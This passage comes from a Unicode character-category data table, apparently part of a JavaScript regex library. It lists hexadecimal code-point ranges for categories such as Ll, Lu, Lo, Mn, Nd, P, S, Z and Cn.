8E31A0-31B731F0-31FF3400-4DB54E00-9FCBA000-A48CA4D0-A4FDA500-A60CA610-A61FA62AA62BA640-A65FA662-A66EA67F-A697A6A0-A6E5A717-A71FA722-A788A78BA78CA7FB-A801A803-A805A807-A80AA80C-A822A840-A873A882-A8B3A8F2-A8F7A8FBA90A-A925A930-A946A960-A97CA984-A9B2A9CFAA00-AA28AA40-AA42AA44-AA4BAA60-AA76AA7AAA80-AAAFAAB1AAB5AAB6AAB9-AABDAAC0AAC2AADB-AADDABC0-ABE2AC00-D7A3D7B0-D7C6D7CB-D7FBF900-FA2DFA30-FA6DFA70-FAD9FB00-FB06FB13-FB17FB1DFB1F-FB28FB2A-FB36FB38-FB3CFB3EFB40FB41FB43FB44FB46-FBB1FBD3-FD3DFD50-FD8FFD92-FDC7FDF0-FDFBFE70-FE74FE76-FEFCFF21-FF3AFF41-FF5AFF66-FFBEFFC2-FFC7FFCA-FFCFFFD2-FFD7FFDA-FFDC",Ll:"0061-007A00AA00B500BA00DF-00F600F8-00FF01010103010501070109010B010D010F01110113011501170119011B011D011F01210123012501270129012B012D012F01310133013501370138013A013C013E014001420144014601480149014B014D014F01510153015501570159015B015D015F01610163016501670169016B016D016F0171017301750177017A017C017E-0180018301850188018C018D019201950199-019B019E01A101A301A501A801AA01AB01AD01B001B401B601B901BA01BD-01BF01C601C901CC01CE01D001D201D401D601D801DA01DC01DD01DF01E101E301E501E701E901EB01ED01EF01F001F301F501F901FB01FD01FF02010203020502070209020B020D020F02110213021502170219021B021D021F02210223022502270229022B022D022F02310233-0239023C023F0240024202470249024B024D024F-02930295-02AF037103730377037B-037D039003AC-03CE03D003D103D5-03D703D903DB03DD03DF03E103E303E503E703E903EB03ED03EF-03F303F503F803FB03FC0430-045F04610463046504670469046B046D046F04710473047504770479047B047D047F0481048B048D048F04910493049504970499049B049D049F04A104A304A504A704A904AB04AD04AF04B104B304B504B704B904BB04BD04BF04C204C404C604C804CA04CC04CE04CF04D104D304D504D704D904DB04DD04DF04E104E304E504E704E904EB04ED04EF04F104F304F504F704F904FB04FD04FF05010503050505070509050B050D050F05110513051505170519051B051D051F0521052305250561-05871D00-1D2B1D62-1D771D79-1D9A1E011E031E051E071E091E0B1E0D1E0F1E111E131E151E171E191E1B1E1D1E1F1E211E231E251E271E291E2B1E2D1E2F1E311E331E351E371E391E3B1E3D1E3F1E411E431E451E471E491E4B1E4D1E4F1E511E531E551E571E591E5B1E5D1E5F1E611E631E651E671E691E6B1E6D1E6F1E711E731E751E771E791E7B1E7D1E7F1E811E831E851E871E891E8B1E8D1E8F1E911E931E95-1E9D1E9F1EA11EA31EA51EA71EA91EAB1EAD1EAF1EB11EB31EB51EB71EB91EBB1EBD1EBF1EC11EC31EC51EC71EC91ECB1ECD1ECF1ED11ED31ED51ED71ED91EDB1EDD1EDF1EE11EE31EE51EE71EE91EEB1EED1EEF1EF11EF31EF51EF71EF91EFB1EFD1EFF-1F071F10-1F151F20-1F271F30-1F371F40-1F451F50-1F571F60-1F671F70-1F7D1F80-1F871F90-1F971FA0-1FA71FB0-1FB41FB61FB71FBE1FC2-1FC41FC61FC71FD0-1FD31FD61FD71FE0-1FE71FF2-1FF41FF61FF7210A210E210F2113212F21342139213C213D2146-2149214E21842C30-2C5E2C612C652C662C682C6A2C6C2C712C732C742C76-2C7C2C812C832C852C872C892C8B2C8D2C8F2C912C932C952C972C992C9B2C9D2C9F2CA12CA32CA52CA72CA92CAB2CAD2CAF2CB12CB32CB52CB72CB92CBB2CBD2CBF2CC12CC32CC52CC72CC92CCB2CCD2CCF2CD12CD32CD52CD72CD92CDB2CDD2CDF2CE12CE32CE42CEC2CEE2D00-2D25A641A643A645A647A649A64BA64DA64FA651A653A655A657A659A65BA65DA65FA663A665A667A669A66BA66DA681A683A685A687A689A68BA68DA68FA691A693A695A697A723A725A727A729A72BA72DA72F-A731A733A735A737A739A73BA73DA73FA741A743A745A747A749A74BA74DA74FA751A753A755A757A759A75BA75DA75FA761A763A765A767A769A76BA76DA76FA771-A778A77AA77CA77FA781A783A785A787A78CFB00-FB06FB13-FB17FF41-FF5A",Lu:"0041-005A00C0-00D600D8-00DE01000102010401060108010A010C010E01100112011401160118011A011C011E01200122012401260128012A012C012E01300132013401360139013B013D013F0141014301450147014A014C014E01500152015401560158015A015C015E01600162016401660168016A016C016E017001720174017601780179017B017D018101820184018601870189-018B018E-0191019301940196-0198019C019D019F01A001A201A401A601A701A901AC01AE01AF01B1-01B301B501B701B801BC01C401C701CA01CD01CF01D101D301D501D701D901DB01DE01E001E201E401E601E801EA01EC01EE01F101F401F6-01F801FA01FC01FE02000202020402060208020A020C020E02100212021402160218021A021C021E02200222022402260228022A022C022E02300232023A023B023D023E02410243-02460248024A024C024E03700372037603860388-038A038C038E038F0391-03A103A3-03AB03CF03D2-03D403D803DA03DC03DE03E003E203E403E603E803EA03EC03EE03F403F703F903FA03FD-042F04600462046404660468046A046C046E04700472047404760478047A047C047E0480048A048C048E04900492049404960498049A049C049E04A004A204A404A604A804AA04AC04AE04B004B204B404B604B804BA04BC04BE04C004C104C304C504C704C904CB04CD04D004D204D404D604D804DA04DC04DE04E004E204E404E604E804EA04EC04EE04F004F204F404F604F804FA04FC04FE05000502050405060508050A050C050E05100512051405160518051A051C051E0520052205240531-055610A0-10C51E001E021E041E061E081E0A1E0C1E0E1E101E121E141E161E181E1A1E1C1E1E1E201E221E241E261E281E2A1E2C1E2E1E301E321E341E361E381E3A1E3C1E3E1E401E421E441E461E481E4A1E4C1E4E1E501E521E541E561E581E5A1E5C1E5E1E601E621E641E661E681E6A1E6C1E6E1E701E721E741E761E781E7A1E7C1E7E1E801E821E841E861E881E8A1E8C1E8E1E901E921E941E9E1EA01EA21EA41EA61EA81EAA1EAC1EAE1EB01EB21EB41EB61EB81EBA1EBC1EBE1EC01EC21EC41EC61EC81ECA1ECC1ECE1ED01ED21ED41ED61ED81EDA1EDC1EDE1EE01EE21EE41EE61EE81EEA1EEC1EEE1EF01EF21EF41EF61EF81EFA1EFC1EFE1F08-1F0F1F18-1F1D1F28-1F2F1F38-1F3F1F48-1F4D1F591F5B1F5D1F5F1F68-1F6F1FB8-1FBB1FC8-1FCB1FD8-1FDB1FE8-1FEC1FF8-1FFB21022107210B-210D2110-211221152119-211D212421262128212A-212D2130-2133213E213F214521832C00-2C2E2C602C62-2C642C672C692C6B2C6D-2C702C722C752C7E-2C802C822C842C862C882C8A2C8C2C8E2C902C922C942C962C982C9A2C9C2C9E2CA02CA22CA42CA62CA82CAA2CAC2CAE2CB02CB22CB42CB62CB82CBA2CBC2CBE2CC02CC22CC42CC62CC82CCA2CCC2CCE2CD02CD22CD42CD62CD82CDA2CDC2CDE2CE02CE22CEB2CEDA640A642A644A646A648A64AA64CA64EA650A652A654A656A658A65AA65CA65EA662A664A666A668A66AA66CA680A682A684A686A688A68AA68CA68EA690A692A694A696A722A724A726A728A72AA72CA72EA732A734A736A738A73AA73CA73EA740A742A744A746A748A74AA74CA74EA750A752A754A756A758A75AA75CA75EA760A762A764A766A768A76AA76CA76EA779A77BA77DA77EA780A782A784A786A78BFF21-FF3A",Lt:"01C501C801CB01F21F88-1F8F1F98-1F9F1FA8-1FAF1FBC1FCC1FFC",Lm:"02B0-02C102C6-02D102E0-02E402EC02EE0374037A0559064006E506E607F407F507FA081A0824082809710E460EC610FC17D718431AA71C78-1C7D1D2C-1D611D781D9B-1DBF2071207F2090-20942C7D2D6F2E2F30053031-3035303B309D309E30FC-30FEA015A4F8-A4FDA60CA67FA717-A71FA770A788A9CFAA70AADDFF70FF9EFF9F",Lo:"01BB01C0-01C3029405D0-05EA05F0-05F20621-063F0641-064A066E066F0671-06D306D506EE06EF06FA-06FC06FF07100712-072F074D-07A507B107CA-07EA0800-08150904-0939093D09500958-096109720979-097F0985-098C098F09900993-09A809AA-09B009B209B6-09B909BD09CE09DC09DD09DF-09E109F009F10A05-0A0A0A0F0A100A13-0A280A2A-0A300A320A330A350A360A380A390A59-0A5C0A5E0A72-0A740A85-0A8D0A8F-0A910A93-0AA80AAA-0AB00AB20AB30AB5-0AB90ABD0AD00AE00AE10B05-0B0C0B0F0B100B13-0B280B2A-0B300B320B330B35-0B390B3D0B5C0B5D0B5F-0B610B710B830B85-0B8A0B8E-0B900B92-0B950B990B9A0B9C0B9E0B9F0BA30BA40BA8-0BAA0BAE-0BB90BD00C05-0C0C0C0E-0C100C12-0C280C2A-0C330C35-0C390C3D0C580C590C600C610C85-0C8C0C8E-0C900C92-0CA80CAA-0CB30CB5-0CB90CBD0CDE0CE00CE10D05-0D0C0D0E-0D100D12-0D280D2A-0D390D3D0D600D610D7A-0D7F0D85-0D960D9A-0DB10DB3-0DBB0DBD0DC0-0DC60E01-0E300E320E330E40-0E450E810E820E840E870E880E8A0E8D0E94-0E970E99-0E9F0EA1-0EA30EA50EA70EAA0EAB0EAD-0EB00EB20EB30EBD0EC0-0EC40EDC0EDD0F000F40-0F470F49-0F6C0F88-0F8B1000-102A103F1050-1055105A-105D106110651066106E-10701075-1081108E10D0-10FA1100-1248124A-124D1250-12561258125A-125D1260-1288128A-128D1290-12B012B2-12B512B8-12BE12C012C2-12C512C8-12D612D8-13101312-13151318-135A1380-138F13A0-13F41401-166C166F-167F1681-169A16A0-16EA1700-170C170E-17111720-17311740-17511760-176C176E-17701780-17B317DC1820-18421844-18771880-18A818AA18B0-18F51900-191C1950-196D1970-19741980-19AB19C1-19C71A00-1A161A20-1A541B05-1B331B45-1B4B1B83-1BA01BAE1BAF1C00-1C231C4D-1C4F1C5A-1C771CE9-1CEC1CEE-1CF12135-21382D30-2D652D80-2D962DA0-2DA62DA8-2DAE2DB0-2DB62DB8-2DBE2DC0-2DC62DC8-2DCE2DD0-2DD62DD8-2DDE3006303C3041-3096309F30A1-30FA30FF3105-312D3131-318E31A0-31B731F0-31FF3400-4DB54E00-9FCBA000-A014A016-A48CA4D0-A4F7A500-A60BA610-A61FA62AA62BA66EA6A0-A6E5A7FB-A801A803-A805A807-A80AA80C-A822A840-A873A882-A8B3A8F2-A8F7A8FBA90A-A925A930-A946A960-A97CA984-A9B2AA00-AA28AA40-AA42AA44-AA4BAA60-AA6FAA71-AA76AA7AAA80-AAAFAAB1AAB5AAB6AAB9-AABDAAC0AAC2AADBAADCABC0-ABE2AC00-D7A3D7B0-D7C6D7CB-D7FBF900-FA2DFA30-FA6DFA70-FAD9FB1DFB1F-FB28FB2A-FB36FB38-FB3CFB3EFB40FB41FB43FB44FB46-FBB1FBD3-FD3DFD50-FD8FFD92-FDC7FDF0-FDFBFE70-FE74FE76-FEFCFF66-FF6FFF71-FF9DFFA0-FFBEFFC2-FFC7FFCA-FFCFFFD2-FFD7FFDA-FFDC",M:"0300-036F0483-04890591-05BD05BF05C105C205C405C505C70610-061A064B-065E067006D6-06DC06DE-06E406E706E806EA-06ED07110730-074A07A6-07B007EB-07F30816-0819081B-08230825-08270829-082D0900-0903093C093E-094E0951-0955096209630981-098309BC09BE-09C409C709C809CB-09CD09D709E209E30A01-0A030A3C0A3E-0A420A470A480A4B-0A4D0A510A700A710A750A81-0A830ABC0ABE-0AC50AC7-0AC90ACB-0ACD0AE20AE30B01-0B030B3C0B3E-0B440B470B480B4B-0B4D0B560B570B620B630B820BBE-0BC20BC6-0BC80BCA-0BCD0BD70C01-0C030C3E-0C440C46-0C480C4A-0C4D0C550C560C620C630C820C830CBC0CBE-0CC40CC6-0CC80CCA-0CCD0CD50CD60CE20CE30D020D030D3E-0D440D46-0D480D4A-0D4D0D570D620D630D820D830DCA0DCF-0DD40DD60DD8-0DDF0DF20DF30E310E34-0E3A0E47-0E4E0EB10EB4-0EB90EBB0EBC0EC8-0ECD0F180F190F350F370F390F3E0F3F0F71-0F840F860F870F90-0F970F99-0FBC0FC6102B-103E1056-1059105E-10601062-10641067-106D1071-10741082-108D108F109A-109D135F1712-17141732-1734175217531772177317B6-17D317DD180B-180D18A91920-192B1930-193B19B0-19C019C819C91A17-1A1B1A55-1A5E1A60-1A7C1A7F1B00-1B041B34-1B441B6B-1B731B80-1B821BA1-1BAA1C24-1C371CD0-1CD21CD4-1CE81CED1CF21DC0-1DE61DFD-1DFF20D0-20F02CEF-2CF12DE0-2DFF302A-302F3099309AA66F-A672A67CA67DA6F0A6F1A802A806A80BA823-A827A880A881A8B4-A8C4A8E0-A8F1A926-A92DA947-A953A980-A983A9B3-A9C0AA29-AA36AA43AA4CAA4DAA7BAAB0AAB2-AAB4AAB7AAB8AABEAABFAAC1ABE3-ABEAABECABEDFB1EFE00-FE0FFE20-FE26",Mn:"0300-036F0483-04870591-05BD05BF05C105C205C405C505C70610-061A064B-065E067006D6-06DC06DF-06E406E706E806EA-06ED07110730-074A07A6-07B007EB-07F30816-0819081B-08230825-08270829-082D0900-0902093C0941-0948094D0951-095509620963098109BC09C1-09C409CD09E209E30A010A020A3C0A410A420A470A480A4B-0A4D0A510A700A710A750A810A820ABC0AC1-0AC50AC70AC80ACD0AE20AE30B010B3C0B3F0B41-0B440B4D0B560B620B630B820BC00BCD0C3E-0C400C46-0C480C4A-0C4D0C550C560C620C630CBC0CBF0CC60CCC0CCD0CE20CE30D41-0D440D4D0D620D630DCA0DD2-0DD40DD60E310E34-0E3A0E47-0E4E0EB10EB4-0EB90EBB0EBC0EC8-0ECD0F180F190F350F370F390F71-0F7E0F80-0F840F860F870F90-0F970F99-0FBC0FC6102D-10301032-10371039103A103D103E10581059105E-10601071-1074108210851086108D109D135F1712-17141732-1734175217531772177317B7-17BD17C617C9-17D317DD180B-180D18A91920-19221927192819321939-193B1A171A181A561A58-1A5E1A601A621A65-1A6C1A73-1A7C1A7F1B00-1B031B341B36-1B3A1B3C1B421B6B-1B731B801B811BA2-1BA51BA81BA91C2C-1C331C361C371CD0-1CD21CD4-1CE01CE2-1CE81CED1DC0-1DE61DFD-1DFF20D0-20DC20E120E5-20F02CEF-2CF12DE0-2DFF302A-302F3099309AA66FA67CA67DA6F0A6F1A802A806A80BA825A826A8C4A8E0-A8F1A926-A92DA947-A951A980-A982A9B3A9B6-A9B9A9BCAA29-AA2EAA31AA32AA35AA36AA43AA4CAAB0AAB2-AAB4AAB7AAB8AABEAABFAAC1ABE5ABE8ABEDFB1EFE00-FE0FFE20-FE26",Mc:"0903093E-09400949-094C094E0982098309BE-09C009C709C809CB09CC09D70A030A3E-0A400A830ABE-0AC00AC90ACB0ACC0B020B030B3E0B400B470B480B4B0B4C0B570BBE0BBF0BC10BC20BC6-0BC80BCA-0BCC0BD70C01-0C030C41-0C440C820C830CBE0CC0-0CC40CC70CC80CCA0CCB0CD50CD60D020D030D3E-0D400D46-0D480D4A-0D4C0D570D820D830DCF-0DD10DD8-0DDF0DF20DF30F3E0F3F0F7F102B102C10311038103B103C105610571062-10641067-106D108310841087-108C108F109A-109C17B617BE-17C517C717C81923-19261929-192B193019311933-193819B0-19C019C819C91A19-1A1B1A551A571A611A631A641A6D-1A721B041B351B3B1B3D-1B411B431B441B821BA11BA61BA71BAA1C24-1C2B1C341C351CE11CF2A823A824A827A880A881A8B4-A8C3A952A953A983A9B4A9B5A9BAA9BBA9BD-A9C0AA2FAA30AA33AA34AA4DAA7BABE3ABE4ABE6ABE7ABE9ABEAABEC",Me:"0488048906DE20DD-20E020E2-20E4A670-A672",N:"0030-003900B200B300B900BC-00BE0660-066906F0-06F907C0-07C90966-096F09E6-09EF09F4-09F90A66-0A6F0AE6-0AEF0B66-0B6F0BE6-0BF20C66-0C6F0C78-0C7E0CE6-0CEF0D66-0D750E50-0E590ED0-0ED90F20-0F331040-10491090-10991369-137C16EE-16F017E0-17E917F0-17F91810-18191946-194F19D0-19DA1A80-1A891A90-1A991B50-1B591BB0-1BB91C40-1C491C50-1C5920702074-20792080-20892150-21822185-21892460-249B24EA-24FF2776-27932CFD30073021-30293038-303A3192-31953220-32293251-325F3280-328932B1-32BFA620-A629A6E6-A6EFA830-A835A8D0-A8D9A900-A909A9D0-A9D9AA50-AA59ABF0-ABF9FF10-FF19",Nd:"0030-00390660-066906F0-06F907C0-07C90966-096F09E6-09EF0A66-0A6F0AE6-0AEF0B66-0B6F0BE6-0BEF0C66-0C6F0CE6-0CEF0D66-0D6F0E50-0E590ED0-0ED90F20-0F291040-10491090-109917E0-17E91810-18191946-194F19D0-19DA1A80-1A891A90-1A991B50-1B591BB0-1BB91C40-1C491C50-1C59A620-A629A8D0-A8D9A900-A909A9D0-A9D9AA50-AA59ABF0-ABF9FF10-FF19",Nl:"16EE-16F02160-21822185-218830073021-30293038-303AA6E6-A6EF",No:"00B200B300B900BC-00BE09F4-09F90BF0-0BF20C78-0C7E0D70-0D750F2A-0F331369-137C17F0-17F920702074-20792080-20892150-215F21892460-249B24EA-24FF2776-27932CFD3192-31953220-32293251-325F3280-328932B1-32BFA830-A835",P:"0021-00230025-002A002C-002F003A003B003F0040005B-005D005F007B007D00A100AB00B700BB00BF037E0387055A-055F0589058A05BE05C005C305C605F305F40609060A060C060D061B061E061F066A-066D06D40700-070D07F7-07F90830-083E0964096509700DF40E4F0E5A0E5B0F04-0F120F3A-0F3D0F850FD0-0FD4104A-104F10FB1361-13681400166D166E169B169C16EB-16ED1735173617D4-17D617D8-17DA1800-180A1944194519DE19DF1A1E1A1F1AA0-1AA61AA8-1AAD1B5A-1B601C3B-1C3F1C7E1C7F1CD32010-20272030-20432045-20512053-205E207D207E208D208E2329232A2768-277527C527C627E6-27EF2983-299829D8-29DB29FC29FD2CF9-2CFC2CFE2CFF2E00-2E2E2E302E313001-30033008-30113014-301F3030303D30A030FBA4FEA4FFA60D-A60FA673A67EA6F2-A6F7A874-A877A8CEA8CFA8F8-A8FAA92EA92FA95FA9C1-A9CDA9DEA9DFAA5C-AA5FAADEAADFABEBFD3EFD3FFE10-FE19FE30-FE52FE54-FE61FE63FE68FE6AFE6BFF01-FF03FF05-FF0AFF0C-FF0FFF1AFF1BFF1FFF20FF3B-FF3DFF3FFF5BFF5DFF5F-FF65",Pd:"002D058A05BE140018062010-20152E172E1A301C303030A0FE31FE32FE58FE63FF0D",Ps:"0028005B007B0F3A0F3C169B201A201E2045207D208D23292768276A276C276E27702772277427C527E627E827EA27EC27EE2983298529872989298B298D298F299129932995299729D829DA29FC2E222E242E262E283008300A300C300E3010301430163018301A301DFD3EFE17FE35FE37FE39FE3BFE3DFE3FFE41FE43FE47FE59FE5BFE5DFF08FF3BFF5BFF5FFF62",Pe:"0029005D007D0F3B0F3D169C2046207E208E232A2769276B276D276F27712773277527C627E727E927EB27ED27EF298429862988298A298C298E2990299229942996299829D929DB29FD2E232E252E272E293009300B300D300F3011301530173019301B301E301FFD3FFE18FE36FE38FE3AFE3CFE3EFE40FE42FE44FE48FE5AFE5CFE5EFF09FF3DFF5DFF60FF63",Pi:"00AB2018201B201C201F20392E022E042E092E0C2E1C2E20",Pf:"00BB2019201D203A2E032E052E0A2E0D2E1D2E21",Pc:"005F203F20402054FE33FE34FE4D-FE4FFF3F",Po:"0021-00230025-0027002A002C002E002F003A003B003F0040005C00A100B700BF037E0387055A-055F058905C005C305C605F305F40609060A060C060D061B061E061F066A-066D06D40700-070D07F7-07F90830-083E0964096509700DF40E4F0E5A0E5B0F04-0F120F850FD0-0FD4104A-104F10FB1361-1368166D166E16EB-16ED1735173617D4-17D617D8-17DA1800-18051807-180A1944194519DE19DF1A1E1A1F1AA0-1AA61AA8-1AAD1B5A-1B601C3B-1C3F1C7E1C7F1CD3201620172020-20272030-2038203B-203E2041-20432047-205120532055-205E2CF9-2CFC2CFE2CFF2E002E012E06-2E082E0B2E0E-2E162E182E192E1B2E1E2E1F2E2A-2E2E2E302E313001-3003303D30FBA4FEA4FFA60D-A60FA673A67EA6F2-A6F7A874-A877A8CEA8CFA8F8-A8FAA92EA92FA95FA9C1-A9CDA9DEA9DFAA5C-AA5FAADEAADFABEBFE10-FE16FE19FE30FE45FE46FE49-FE4CFE50-FE52FE54-FE57FE5F-FE61FE68FE6AFE6BFF01-FF03FF05-FF07FF0AFF0CFF0EFF0FFF1AFF1BFF1FFF20FF3CFF61FF64FF65",S:"0024002B003C-003E005E0060007C007E00A2-00A900AC00AE-00B100B400B600B800D700F702C2-02C502D2-02DF02E5-02EB02ED02EF-02FF03750384038503F604820606-0608060B060E060F06E906FD06FE07F609F209F309FA09FB0AF10B700BF3-0BFA0C7F0CF10CF20D790E3F0F01-0F030F13-0F170F1A-0F1F0F340F360F380FBE-0FC50FC7-0FCC0FCE0FCF0FD5-0FD8109E109F13601390-139917DB194019E0-19FF1B61-1B6A1B74-1B7C1FBD1FBF-1FC11FCD-1FCF1FDD-1FDF1FED-1FEF1FFD1FFE20442052207A-207C208A-208C20A0-20B8210021012103-21062108210921142116-2118211E-2123212521272129212E213A213B2140-2144214A-214D214F2190-2328232B-23E82400-24262440-244A249C-24E92500-26CD26CF-26E126E326E8-26FF2701-27042706-2709270C-27272729-274B274D274F-27522756-275E2761-276727942798-27AF27B1-27BE27C0-27C427C7-27CA27CC27D0-27E527F0-29822999-29D729DC-29FB29FE-2B4C2B50-2B592CE5-2CEA2E80-2E992E9B-2EF32F00-2FD52FF0-2FFB300430123013302030363037303E303F309B309C319031913196-319F31C0-31E33200-321E322A-32503260-327F328A-32B032C0-32FE3300-33FF4DC0-4DFFA490-A4C6A700-A716A720A721A789A78AA828-A82BA836-A839AA77-AA79FB29FDFCFDFDFE62FE64-FE66FE69FF04FF0BFF1C-FF1EFF3EFF40FF5CFF5EFFE0-FFE6FFE8-FFEEFFFCFFFD",Sm:"002B003C-003E007C007E00AC00B100D700F703F60606-060820442052207A-207C208A-208C2140-2144214B2190-2194219A219B21A021A321A621AE21CE21CF21D221D421F4-22FF2308-230B23202321237C239B-23B323DC-23E125B725C125F8-25FF266F27C0-27C427C7-27CA27CC27D0-27E527F0-27FF2900-29822999-29D729DC-29FB29FE-2AFF2B30-2B442B47-2B4CFB29FE62FE64-FE66FF0BFF1C-FF1EFF5CFF5EFFE2FFE9-FFEC",Sc:"002400A2-00A5060B09F209F309FB0AF10BF90E3F17DB20A0-20B8A838FDFCFE69FF04FFE0FFE1FFE5FFE6",Sk:"005E006000A800AF00B400B802C2-02C502D2-02DF02E5-02EB02ED02EF-02FF0375038403851FBD1FBF-1FC11FCD-1FCF1FDD-1FDF1FED-1FEF1FFD1FFE309B309CA700-A716A720A721A789A78AFF3EFF40FFE3",So:"00A600A700A900AE00B000B60482060E060F06E906FD06FE07F609FA0B700BF3-0BF80BFA0C7F0CF10CF20D790F01-0F030F13-0F170F1A-0F1F0F340F360F380FBE-0FC50FC7-0FCC0FCE0FCF0FD5-0FD8109E109F13601390-1399194019E0-19FF1B61-1B6A1B74-1B7C210021012103-21062108210921142116-2118211E-2123212521272129212E213A213B214A214C214D214F2195-2199219C-219F21A121A221A421A521A7-21AD21AF-21CD21D021D121D321D5-21F32300-2307230C-231F2322-2328232B-237B237D-239A23B4-23DB23E2-23E82400-24262440-244A249C-24E92500-25B625B8-25C025C2-25F72600-266E2670-26CD26CF-26E126E326E8-26FF2701-27042706-2709270C-27272729-274B274D274F-27522756-275E2761-276727942798-27AF27B1-27BE2800-28FF2B00-2B2F2B452B462B50-2B592CE5-2CEA2E80-2E992E9B-2EF32F00-2FD52FF0-2FFB300430123013302030363037303E303F319031913196-319F31C0-31E33200-321E322A-32503260-327F328A-32B032C0-32FE3300-33FF4DC0-4DFFA490-A4C6A828-A82BA836A837A839AA77-AA79FDFDFFE4FFE8FFEDFFEEFFFCFFFD",Z:"002000A01680180E2000-200A20282029202F205F3000",Zs:"002000A01680180E2000-200A202F205F3000",Zl:"2028",Zp:"2029",C:"0000-001F007F-009F00AD03780379037F-0383038B038D03A20526-05300557055805600588058B-059005C8-05CF05EB-05EF05F5-0605061C061D0620065F06DD070E070F074B074C07B2-07BF07FB-07FF082E082F083F-08FF093A093B094F095609570973-097809800984098D098E0991099209A909B109B3-09B509BA09BB09C509C609C909CA09CF-09D609D8-09DB09DE09E409E509FC-0A000A040A0B-0A0E0A110A120A290A310A340A370A3A0A3B0A3D0A43-0A460A490A4A0A4E-0A500A52-0A580A5D0A5F-0A650A76-0A800A840A8E0A920AA90AB10AB40ABA0ABB0AC60ACA0ACE0ACF0AD1-0ADF0AE40AE50AF00AF2-0B000B040B0D0B0E0B110B120B290B310B340B3A0B3B0B450B460B490B4A0B4E-0B550B58-0B5B0B5E0B640B650B72-0B810B840B8B-0B8D0B910B96-0B980B9B0B9D0BA0-0BA20BA5-0BA70BAB-0BAD0BBA-0BBD0BC3-0BC50BC90BCE0BCF0BD1-0BD60BD8-0BE50BFB-0C000C040C0D0C110C290C340C3A-0C3C0C450C490C4E-0C540C570C5A-0C5F0C640C650C70-0C770C800C810C840C8D0C910CA90CB40CBA0CBB0CC50CC90CCE-0CD40CD7-0CDD0CDF0CE40CE50CF00CF3-0D010D040D0D0D110D290D3A-0D3C0D450D490D4E-0D560D58-0D5F0D640D650D76-0D780D800D810D840D97-0D990DB20DBC0DBE0DBF0DC7-0DC90DCB-0DCE0DD50DD70DE0-0DF10DF5-0E000E3B-0E3E0E5C-0E800E830E850E860E890E8B0E8C0E8E-0E930E980EA00EA40EA60EA80EA90EAC0EBA0EBE0EBF0EC50EC70ECE0ECF0EDA0EDB0EDE-0EFF0F480F6D-0F700F8C-0F8F0F980FBD0FCD0FD9-0FFF10C6-10CF10FD-10FF1249124E124F12571259125E125F1289128E128F12B112B612B712BF12C112C612C712D7131113161317135B-135E137D-137F139A-139F13F5-13FF169D-169F16F1-16FF170D1715-171F1737-173F1754-175F176D17711774-177F17B417B517DE17DF17EA-17EF17FA-17FF180F181A-181F1878-187F18AB-18AF18F6-18FF191D-191F192C-192F193C-193F1941-1943196E196F1975-197F19AC-19AF19CA-19CF19DB-19DD1A1C1A1D1A5F1A7D1A7E1A8A-1A8F1A9A-1A9F1AAE-1AFF1B4C-1B4F1B7D-1B7F1BAB-1BAD1BBA-1BFF1C38-1C3A1C4A-1C4C1C80-1CCF1CF3-1CFF1DE7-1DFC1F161F171F1E1F1F1F461F471F4E1F4F1F581F5A1F5C1F5E1F7E1F7F1FB51FC51FD41FD51FDC1FF01FF11FF51FFF200B-200F202A-202E2060-206F20722073208F2095-209F20B9-20CF20F1-20FF218A-218F23E9-23FF2427-243F244B-245F26CE26E226E4-26E727002705270A270B2728274C274E2753-2755275F27602795-279727B027BF27CB27CD-27CF2B4D-2B4F2B5A-2BFF2C2F2C5F2CF2-2CF82D26-2D2F2D66-2D6E2D70-2D7F2D97-2D9F2DA72DAF2DB72DBF2DC72DCF2DD72DDF2E32-2E7F2E9A2EF4-2EFF2FD6-2FEF2FFC-2FFF3040309730983100-3104312E-3130318F31B8-31BF31E4-31EF321F32FF4DB6-4DBF9FCC-9FFFA48D-A48FA4C7-A4CFA62C-A63FA660A661A674-A67BA698-A69FA6F8-A6FFA78D-A7FAA82C-A82FA83A-A83FA878-A87FA8C5-A8CDA8DA-A8DFA8FC-A8FFA954-A95EA97D-A97FA9CEA9DA-A9DDA9E0-A9FFAA37-AA3FAA4EAA4FAA5AAA5BAA7C-AA7FAAC3-AADAAAE0-ABBFABEEABEFABFA-ABFFD7A4-D7AFD7C7-D7CAD7FC-F8FFFA2EFA2FFA6EFA6FFADA-FAFFFB07-FB12FB18-FB1CFB37FB3DFB3FFB42FB45FBB2-FBD2FD40-FD4FFD90FD91FDC8-FDEFFDFEFDFFFE1A-FE1FFE27-FE2FFE53FE67FE6C-FE6FFE75FEFD-FF00FFBF-FFC1FFC8FFC9FFD0FFD1FFD8FFD9FFDD-FFDFFFE7FFEF-FFFBFFFEFFFF",Cc:"0000-001F007F-009F",Cf:"00AD0600-060306DD070F17B417B5200B-200F202A-202E2060-2064206A-206FFEFFFFF9-FFFB",Co:"E000-F8FF",Cs:"D800-DFFF",Cn:"03780379037F-0383038B038D03A20526-05300557055805600588058B-059005C8-05CF05EB-05EF05F5-05FF06040605061C061D0620065F070E074B074C07B2-07BF07FB-07FF082E082F083F-08FF093A093B094F095609570973-097809800984098D098E0991099209A909B109B3-09B509BA09BB09C509C609C909CA09CF-09D609D8-09DB09DE09E409E509FC-0A000A040A0B-0A0E0A110A120A290A310A340A370A3A0A3B0A3D0A43-0A460A490A4A0A4E-0A500A52-0A580A5D0A5F-0A650A76-0A800A840A8E0A920AA90AB10AB40ABA0ABB0AC60ACA0ACE0ACF0AD1-0ADF0AE40AE50AF00AF2-0B000B040B0D0B0E0B110B120B290B310B340B3A0B3B0B450B460B490B4A0B4E-0B550B58-0B5B0B5E0B640B650B72-0B810B840B8B-0B8D0B910B96-0B980B9B0B9D0BA0-0BA20BA5-0BA70BAB-0BAD0BBA-0BBD0BC3-0BC50BC90BCE0BCF0BD1-0BD60BD8-0BE50BFB-0C000C040C0D0C110C290C340C3A-0C3C0C450C490C4E-0C540C570C5A-0C5F0C640C650C70-0C770C800C810C840C8D0C910CA90CB40CBA0CBB0CC50CC90CCE-0CD40CD7-0CDD0CDF0CE40CE50CF00CF3-0D010D040D0D0D110D290D3A-0D3C0D450D490D4E-0D560D58-0D5F0D640D650D76-0D780D800D810D840D97-0D990DB20DBC0DBE0DBF0DC7-0DC90DCB-0DCE0DD50DD70DE0-0DF10DF5-0E000E3B-0E3E0E5C-0E800E830E850E860E890E8B0E8C0E8E-0E930E980EA00EA40EA60EA80EA90EAC0EBA0EBE0EBF0EC50EC70ECE0ECF0EDA0EDB0EDE-0EFF0F480F6D-0F700F8C-0F8F0F980FBD0FCD0FD9-0FFF10C6-10CF10FD-10FF1249124E124F12571259125E125F1289128E128F12B112B612B712BF12C112C612C712D7131113161317135B-135E137D-137F139A-139F13F5-13FF169D-169F16F1-16FF170D1715-171F1737-173F1754-175F176D